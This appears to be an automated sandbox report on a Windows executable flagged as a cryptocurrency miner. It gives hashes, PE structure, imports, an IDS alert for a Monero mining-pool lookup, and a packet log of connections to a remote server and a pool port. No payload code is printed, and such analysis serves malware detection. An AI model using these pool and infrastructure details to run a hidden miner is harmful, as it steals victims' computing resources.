TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	h2UFp4aCRq.exe
File size:	5'061'451 bytes
MD5:	1fecbc51b5620e578c48a12ebeb19bc2
SHA1:	94fe551f4fb3ff76a0be99a962dc20fc2656453e
SHA256:	9a4c96b227213b7049f851572487d42c994220bbf584f631bf347a507b684c1a
SHA512:	ede6f39946562e253fcafe225292db32ba30f9476557304ae1769830e3a46c660920c304ca42d52544411e41acfc1bf206c829c98d61948cb595b1fa0105e2d7
SSDEEP:	98304:6qwWqwfM8jZlts7Dnfg+u5NIg1GbnBH9Ltl4NFA0kA8X1KpWQMg:6qwWqw0v7DnZu5NnobnDtl4TjZ8X1/Qf
TLSH:	EB361259E7A508F8E0B7E138D9539419F3F93C4D07604A8F63A6816A2F673D0DE3A712
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$.2.`.\.`.\.`.\..y..h.\..y....\..y..m.\.....b.\...X.r.\..._.j.\...Y.Y.\.i...i.\.i...b.\.i...g.\.`.].C.\...Y.R.\...\.a.\.....a.\

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x140032ee0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x66409723 [Sun May 12 10:17:07 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	b1c5b1beabd90d9fdabd1df0779ea832

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F47B53D1FB8h
dec eax
add esp, 28h
jmp 00007F47B53D194Fh
int3
int3
dec eax
mov eax, esp
dec eax
mov dword ptr [eax+08h], ebx
dec eax
mov dword ptr [eax+10h], ebp
dec eax
mov dword ptr [eax+18h], esi
dec eax
mov dword ptr [eax+20h], edi
inc ecx
push esi
dec eax
sub esp, 20h
dec ebp
mov edx, dword ptr [ecx+38h]
dec eax
mov esi, edx
dec ebp
mov esi, eax
dec eax
mov ebp, ecx
dec ecx
mov edx, ecx
dec eax
mov ecx, esi
dec ecx
mov edi, ecx
inc ecx
mov ebx, dword ptr [edx]
dec eax
shl ebx, 04h
dec ecx
add ebx, edx
dec esp
lea eax, dword ptr [ebx+04h]
call 00007F47B53D0DD3h
mov eax, dword ptr [ebp+04h]
and al, 66h
neg al
mov eax, 00000001h
sbb edx, edx
neg edx
add edx, eax
test dword ptr [ebx+04h], edx
je 00007F47B53D1AE3h
dec esp
mov ecx, edi
dec ebp
mov eax, esi
dec eax
mov edx, esi
dec eax
mov ecx, ebp
call 00007F47B53D3AF7h
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov ebp, dword ptr [esp+38h]
dec eax
mov esi, dword ptr [esp+40h]
dec eax
mov edi, dword ptr [esp+48h]
dec eax
add esp, 20h
inc ecx
pop esi
ret
int3
int3
int3
dec eax
sub esp, 48h
dec eax
lea ecx, dword ptr [esp+20h]
call 00007F47B53C0363h
dec eax
lea edx, dword ptr [00025747h]
dec eax
lea ecx, dword ptr [esp+20h]
call 00007F47B53D2BB2h
int3
jmp 00007F47B53D8D94h
int3
int3
int3
int3
int3
int3

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x597a0	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x597d4	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x70000	0xff7c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x6a000	0x306c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x80000	0x970	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x536c0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x53780	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x4b3f0	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x48000	0x508	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x588bc	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4676e	0x46800	f06bb06e02377ae8b223122e53be35c2	False	0.5372340425531915	data	6.47079645411382	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x48000	0x128c4	0x12a00	2de06d4a6920a6911e64ff20000ea72f	False	0.4499003775167785	data	5.273999097784603	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x5b000	0xe75c	0x1a00	0dbdb901a7d477980097e42e511a94fb	False	0.28275240384615385	data	3.2571023907881185	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x6a000	0x306c	0x3200	b0ce0f057741ad2a4ef4717079fa34e9	False	0.483359375	data	5.501810413666288	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.didat	0x6e000	0x360	0x400	1fcc7b1d7a02443319f8fcc2be4ca936	False	0.2578125	data	3.0459938492946015	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
_RDATA	0x6f000	0x15c	0x200	3f331ec50f09ba861beaf955b33712d5	False	0.408203125	data	3.3356393424384843	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x70000	0xff7c	0x10000	7cc0e4178407044344713ed68f887c23	False	0.2468109130859375	data	5.044029509615392	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x80000	0x970	0xa00	77a9ddfc47a5650d6eebbcc823e39532	False	0.52421875	data	5.336289720085303	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
PNG	0x706a4	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	1.0027729636048528
PNG	0x711ec	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	0.9363390441839495
RT_ICON	0x72798	0x8db	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.8142920158800176
RT_ICON	0x73074	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 0	0.029168634860651865
RT_ICON	0x7729c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.047925311203319505
RT_ICON	0x79844	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 0	0.05798816568047337
RT_ICON	0x7b2ac	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.06543151969981238
RT_ICON	0x7c354	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	0.10327868852459017
RT_ICON	0x7ccdc	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 0	0.12732558139534883
RT_ICON	0x7d394	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.10815602836879433
RT_DIALOG	0x7d7fc	0x2ba	data	0.5286532951289399
RT_DIALOG	0x7dab8	0x13a	data	0.6560509554140127
RT_DIALOG	0x7dbf4	0xf2	data	0.71900826446281
RT_DIALOG	0x7dce8	0x14a	data	0.6
RT_DIALOG	0x7de34	0x314	data	0.47588832487309646
RT_DIALOG	0x7e148	0x24a	data	0.6279863481228669
RT_STRING	0x7e394	0x1fc	data	0.421259842519685
RT_STRING	0x7e590	0x246	data	0.41924398625429554
RT_STRING	0x7e7d8	0x1a6	data	0.514218009478673
RT_STRING	0x7e980	0xdc	data	0.65
RT_STRING	0x7ea5c	0x470	data	0.3873239436619718
RT_STRING	0x7eecc	0x164	data	0.5056179775280899
RT_STRING	0x7f030	0x110	data	0.5772058823529411
RT_STRING	0x7f140	0x158	data	0.4563953488372093
RT_STRING	0x7f298	0xe8	data	0.5948275862068966
RT_STRING	0x7f380	0x1c6	data	0.5242290748898678
RT_STRING	0x7f548	0x268	data	0.4837662337662338
RT_GROUP_ICON	0x7f7b0	0x76	data	0.7457627118644068
RT_MANIFEST	0x7f828	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	0.3957333333333333

Imports

DLL	Import
KERNEL32.dll	LocalFree, GetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, GetCurrentProcessId, CreateDirectoryW, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, GetVersionExW, GetModuleFileNameW, SetCurrentDirectoryW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, ExpandEnvironmentStringsW, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, GlobalMemoryStatusEx, LoadResource, SizeofResource, GetTimeFormatW, GetDateFormatW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetNumberFormatW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetOEMCP, IsValidCodePage, FindNextFileA, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, InitializeCriticalSectionAndSpinCount, WaitForSingleObjectEx, IsDebuggerPresent, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlPcToFileHeader, RtlUnwindEx, EncodePointer, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, GetStringTypeW, HeapReAlloc, LCMapStringW, FindFirstFileExA
OLEAUT32.dll	SysAllocString, SysFreeString, VariantClear
gdiplus.dll	GdipCloneImage, GdipFree, GdipDisposeImage, GdipCreateBitmapFromStream, GdipCreateHBITMAPFromBitmap, GdiplusStartup, GdiplusShutdown, GdipAlloc

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/23/24-11:31:12.198589	UDP	2047928	ET TROJAN CoinMiner Domain in DNS Lookup (pool .supportxmr .com)	49698	53	192.168.2.4	1.1.1.1

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 23, 2024 11:31:10.837541103 CEST	49731	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:10.837570906 CEST	443	49731	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:10.837639093 CEST	49731	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:10.846098900 CEST	49731	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:10.846113920 CEST	443	49731	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:11.586462021 CEST	443	49731	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:11.586556911 CEST	49731	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:11.591223955 CEST	49731	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:11.591231108 CEST	443	49731	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:11.591629982 CEST	443	49731	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:11.641258001 CEST	49731	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:11.671781063 CEST	49731	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:11.716499090 CEST	443	49731	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:12.214787006 CEST	49732	3333	192.168.2.4	141.94.96.144
Jun 23, 2024 11:31:12.219731092 CEST	3333	49732	141.94.96.144	192.168.2.4
Jun 23, 2024 11:31:12.219937086 CEST	49732	3333	192.168.2.4	141.94.96.144
Jun 23, 2024 11:31:12.220063925 CEST	49732	3333	192.168.2.4	141.94.96.144
Jun 23, 2024 11:31:12.224550009 CEST	443	49731	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:12.224630117 CEST	443	49731	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:12.224831104 CEST	3333	49732	141.94.96.144	192.168.2.4
Jun 23, 2024 11:31:12.224885941 CEST	49731	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:12.233170986 CEST	49731	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:12.237163067 CEST	49733	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:12.237186909 CEST	443	49733	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:12.237346888 CEST	49733	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:12.237759113 CEST	49733	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:12.237772942 CEST	443	49733	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:12.866239071 CEST	3333	49732	141.94.96.144	192.168.2.4
Jun 23, 2024 11:31:12.922533989 CEST	49732	3333	192.168.2.4	141.94.96.144
Jun 23, 2024 11:31:13.029061079 CEST	443	49733	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:13.032350063 CEST	49733	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:13.032371044 CEST	443	49733	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:13.376065016 CEST	443	49733	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:13.376600981 CEST	443	49733	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:13.376682997 CEST	49733	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:13.377080917 CEST	49733	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:13.642416000 CEST	49734	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:13.642447948 CEST	443	49734	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:13.642651081 CEST	49734	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:13.642790079 CEST	49734	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:13.642801046 CEST	443	49734	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:14.424688101 CEST	443	49734	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:14.426592112 CEST	49734	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:14.426606894 CEST	443	49734	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:14.768882036 CEST	443	49734	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:14.768949986 CEST	443	49734	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:14.769102097 CEST	49734	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:14.769655943 CEST	49734	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:14.770713091 CEST	49735	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:14.770801067 CEST	443	49735	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:14.770915985 CEST	49735	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:14.771174908 CEST	49735	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:14.771207094 CEST	443	49735	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:15.492588043 CEST	443	49735	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:15.494374037 CEST	49735	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:15.494426966 CEST	443	49735	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:15.842303038 CEST	443	49735	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:15.842468023 CEST	443	49735	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:15.842560053 CEST	49735	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:15.842878103 CEST	49735	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:16.175148964 CEST	49736	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:16.175249100 CEST	443	49736	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:16.175340891 CEST	49736	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:16.175611019 CEST	49736	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:16.175643921 CEST	443	49736	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:16.207253933 CEST	3333	49732	141.94.96.144	192.168.2.4
Jun 23, 2024 11:31:16.250643969 CEST	49732	3333	192.168.2.4	141.94.96.144
Jun 23, 2024 11:31:16.880925894 CEST	443	49736	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:17.063190937 CEST	49736	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:20.260010004 CEST	49737	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:20.260045052 CEST	443	49737	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:20.260135889 CEST	49737	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:20.265114069 CEST	49737	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:20.265130043 CEST	443	49737	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:21.084431887 CEST	443	49737	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:21.084530115 CEST	49737	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:21.086519957 CEST	49737	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:21.086529970 CEST	443	49737	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:21.086874962 CEST	443	49737	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:21.152177095 CEST	49737	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:21.196511030 CEST	443	49737	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:21.433937073 CEST	443	49737	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:21.434119940 CEST	443	49737	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:21.434195042 CEST	49737	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:21.437335968 CEST	49737	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:21.475305080 CEST	49738	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:21.475337029 CEST	443	49738	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:21.475410938 CEST	49738	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:21.475771904 CEST	49738	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:21.475786924 CEST	443	49738	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:22.263181925 CEST	443	49738	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:22.265476942 CEST	49738	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:22.265511990 CEST	443	49738	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:22.604455948 CEST	443	49738	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:22.604667902 CEST	443	49738	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:22.604861021 CEST	49738	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:22.605263948 CEST	49738	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:22.862143993 CEST	49739	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:22.862229109 CEST	443	49739	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:22.862313032 CEST	49739	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:22.862709999 CEST	49739	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:22.862747908 CEST	443	49739	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:23.644334078 CEST	443	49739	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:23.645922899 CEST	49739	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:23.645986080 CEST	443	49739	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:23.986260891 CEST	443	49739	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:23.986330986 CEST	443	49739	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:23.986402035 CEST	49739	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:23.986864090 CEST	49739	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:23.988023043 CEST	49741	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:23.988085032 CEST	443	49741	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:23.988182068 CEST	49741	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:23.988507032 CEST	49741	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:23.988533020 CEST	443	49741	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:24.714535952 CEST	443	49741	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:24.716639042 CEST	49741	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:24.716697931 CEST	443	49741	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:25.062024117 CEST	443	49741	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:25.062222004 CEST	443	49741	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:25.062311888 CEST	49741	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:25.062732935 CEST	49741	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:25.272823095 CEST	49742	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:25.272907019 CEST	443	49742	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:25.273000002 CEST	49742	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:25.273363113 CEST	49742	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:25.273394108 CEST	443	49742	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:25.976872921 CEST	443	49742	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:25.978486061 CEST	49742	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:25.978524923 CEST	443	49742	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:26.285243988 CEST	3333	49732	141.94.96.144	192.168.2.4
Jun 23, 2024 11:31:26.322613001 CEST	443	49742	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:26.322798967 CEST	443	49742	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:26.322864056 CEST	49742	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:26.323514938 CEST	49742	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:26.325093985 CEST	49744	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:26.325206995 CEST	443	49744	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:26.325352907 CEST	49744	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:26.325740099 CEST	49744	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:26.325776100 CEST	443	49744	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:26.453821898 CEST	49732	3333	192.168.2.4	141.94.96.144
Jun 23, 2024 11:31:27.024298906 CEST	443	49744	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:27.029077053 CEST	49744	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:27.029122114 CEST	443	49744	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:27.365695953 CEST	443	49744	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:27.365844011 CEST	443	49744	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:27.365915060 CEST	49744	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:28.975908041 CEST	3333	49732	141.94.96.144	192.168.2.4
Jun 23, 2024 11:31:29.063191891 CEST	49732	3333	192.168.2.4	141.94.96.144
Jun 23, 2024 11:31:32.019682884 CEST	49749	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:32.019757032 CEST	443	49749	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:32.019853115 CEST	49749	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:32.024535894 CEST	49749	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:32.024573088 CEST	443	49749	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:32.744692087 CEST	443	49749	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:32.744786024 CEST	49749	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:32.750181913 CEST	49749	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:32.750214100 CEST	443	49749	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:32.751157045 CEST	443	49749	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:32.924987078 CEST	49749	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:33.064435005 CEST	49749	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:33.104541063 CEST	443	49749	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:33.189086914 CEST	49736	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:33.289144039 CEST	443	49749	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:33.289393902 CEST	443	49749	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:33.289488077 CEST	49749	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:33.291059971 CEST	49749	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:33.342456102 CEST	49750	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:33.342540979 CEST	443	49750	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:33.342664003 CEST	49750	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:33.342890978 CEST	49750	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:33.342926025 CEST	443	49750	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:34.050586939 CEST	443	49750	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:34.058233976 CEST	49750	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:34.058295012 CEST	443	49750	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:34.395102978 CEST	443	49750	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:34.395180941 CEST	443	49750	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:34.395242929 CEST	49750	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:34.395674944 CEST	49750	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:34.505764961 CEST	49751	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:34.505810022 CEST	443	49751	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:34.505875111 CEST	49751	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:34.506156921 CEST	49751	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:34.506177902 CEST	443	49751	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:35.307306051 CEST	443	49751	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:35.317027092 CEST	49751	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:35.317066908 CEST	443	49751	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:35.650631905 CEST	443	49751	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:35.650777102 CEST	443	49751	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:35.650851011 CEST	49751	443	192.168.2.4	92.53.96.121
